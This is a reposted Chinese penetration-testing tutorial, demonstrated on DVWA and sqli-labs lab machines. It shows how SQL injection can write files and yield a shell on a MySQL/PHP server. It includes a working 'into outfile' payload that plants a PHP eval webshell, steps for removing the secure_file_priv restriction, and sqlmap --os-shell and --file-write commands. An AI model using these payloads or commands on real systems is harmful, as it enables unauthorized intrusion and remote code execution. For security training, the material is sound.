基于SQL注入漏洞读写文件Getshell技巧
Posted Tr0e
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了基于SQL注入漏洞读写文件Getshell技巧相关的知识,希望对你有一定的参考价值。
前言
在 HW 行动和攻防演练过程中,获得 Shell 的方式总结起来大概是以下几种(当然了如果能够通过源码泄露审计出 0day 的大佬的姿势另说……):
- 暴力破解+弱口令/未授权访问漏洞登录后台,任意文件上传漏洞 Getshell;
- Shiro、Struts2、Fastjson 等反序列化漏洞导致 RCE;
- 通过 SQL 注入漏洞写入木马文件并 Getshell……
在前面一篇文章:渗透测试-PhpMyAdmin后台getshell 里曾介绍了如何在 phpMyAdmin 后台通过into outfile
写入木马、mysql 日志文件写入木马两种方式获得 Shell,本文将总结记录下在常规 SQL 注入场景下如何通过 SQL 注入读写系统文件并 Getshell。
手工注入
下面先来看看如何基于手工注入的方式向 SQL 注入点写入木马并获得 Shell。
靶场环境
1、本文的演示环境基于 Win7 虚拟机搭建的 DVWA 靶场:
2、物理机访问 DVWA 靶场:
3、开启 LOW 安全级别模式,访问 SQL 注入模块,如下图可以拼接执行 union 复合查询语句:
该靶场环境的具体分析和手工注入脱裤方式请参见:Web安全-SQL注入漏洞,本文不展开介绍。简单附上服务端源码吧:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
into outfile
SQL 注入获取系统权限的方法,可以直接利用 into outfile
函数直接写入一句话木马 。
into outfile 的利用条件
1、此方法利用的先决条件:
- Web 目录具有写权限,能够使用单引号;
- 知道网站绝对路径(根目录,或则是根目录往下的目录都行);
- secure_file_priv 没有具体值(在
mysql/my.ini
中查看)
2、关于 secure_file_priv
配置:
Mysql 配置参数 secure_file_priv 是用来限制 load dumpfile、into outfile、load_file()
等函数在哪个目录下拥有上传和读取文件的权限。如下关于 secure_file_priv 的配置介绍:
secure_file_priv 的值 | 释义 |
---|---|
null | 表示限制 mysqld 不允许导入导出 |
/tmp/ | 表示限制 mysqld 的导入导出只能发生在 /tmp/ 目录下 |
没有具体值 | 表示不对 mysqld 的导入导出做限制 |
所以如果我们要想使用 into outfile 函数写入一句话木马的话就需要将 secure_file_priv 的值设为没有值。查看 secure-file-priv 参数的值可用如下命令:
show global variables like '%secure%';
如下,secure_file_priv 的值默认为 NULL,则表示限制 Mysqld 不允许导入导出:
我们可以在 mysql/my.ini
中查看是否有 secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ''
即可:
此时再查看 secure_file_priv 的值如下已经变为空了,设置完成后我们就可以利用 into outfile 函数来写入一句话木马:
DVWA靶场实战演示
1、尝试直接使用以下 Payload 在上述靶场写入一句话木马:
1' union select 1,"<?php @eval($_POST['attack']);?>" into outfile 'C:\\\\SoftWare\\\\phpStudy_64\\\\phpStudy_pro\\\\WWW\\\\DVWA\\\\hack.php'#
提交后报错,可以看到 --secure-file-priv 参数拒绝了写入:
2、手动在mysql/my.ini
添加 secure_file_priv = ''
配置:
3、保存并重启 Mysql 服务,重新提交 Payload:
访问上传的木马:
查看服务器确实也是上传成功了:
4、那就不客气了,蚁剑连接木马获得 Shell:
SQLMap
接下来演示的是直接借助 SQLMap 进行 Shell 写入的方式。
靶场环境
1、不知为何 DVWA 跑 SQLMap 一直出错,索性换成 sqli-labs 吧,同样在 Win7 虚拟机搭建:
2、物理机直接访问靶场,选择第一关进行演示:
–os-shell
--os-shell
也就是从注入点获得一个交互式的 shell,给我们提供了一个环境可以执行一定的系统命令,讲白了也就是类似于在 Windows 下的 cmd。执行该参数命令也是通过 into oufile
向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件。可以理解为通过上传一个 Sqlmap 的马,然后通过马来进行命令执行。
- 要求为 DBA 权限(下文实践发现似乎也不是必要条件……),可以使用 SQLMap 的
--is-dba
参数判断(Phpstudy 搭建的一般为DBA); - 知道网站的绝对路径,可以通过报错信息获取;
secure_file_priv
没有具体值(在mysql/my.ini
中查看与配置)。
介绍完基础理论,下面开始进行攻击演示。
1、首先使用 SQLMap 判断注入点:
2、执行 --os-shell
参数命令:
指定站点语言和上传路径后,sqlmap 将在指定的目录生成了两个文件,分别用来执行系统命令和上传文件:
3、尝试访问用于执行系统命令的文件:
4、继续访问用于上传任意文件的文件,上传冰蝎马:
服务端可以看到成功上传的冰蝎马:
5、上冰蝎连接木马,获得 Shell:
6、同时补充一下 SQLMap 获得的 Shell 也可以执行命令:
读写文件
SQLMap 还可以直接对服务器的文件进行读写操作,也可用于写入木马文件 Getshell,下面进行演示介绍。
1、借助 SQLMap 的--file-read
参数读取服务器文件,以刚才上传的冰蝎马为例:
打开从服务端读取并本地下载的文件:
2、使用 SQLMap 的–file-write
和–file-dest
指定本地物理机的文件上传写入到靶机服务器的指定路径,执行如下命令:
sqlmap.py -u "http://192.168.0.102/sqli-labs/Less-1/?id=1" –file-write "D:\\\\shell.php" –file-dest "C:\\\\SoftWare\\\\phpStudy_64\\\\phpStudy_pro\\\\WWW\\\\new.php"
效果如下:
到 Win7 靶机对应目录可以找到写入的木马文件:
上冰蝎连接新写入到服务器的木马:
3、最后顺便了解下 SQLMap 另外一个命令参数--sql-shell
,用于提供一个交互式的 SQL 语句执行环境,支持 Tab 键补全和命令历史记录。关于 SQLMap 各项参数的具体用法也可参见:Sqlmap中文手册。
总结
本文演示了 3 种通过 SQL 注入获取系统权限的方法:
- 利用
into outfile
函数直接写入一句话木马; - 利用 SQLMap 的
--os-shell
命令参数来执行任意操作系统命令 、上传木马; - 利用 SQLMap 的
–file-write
和–file-dest
文件写入命令参数将本地的木马文件写入到服务端指定路径。
由此可见 SQL 注入的危害不仅仅是泄露数据库数据这么简单!!
以上是关于基于SQL注入漏洞读写文件Getshell技巧的主要内容,如果未能解决你的问题,请参考以下文章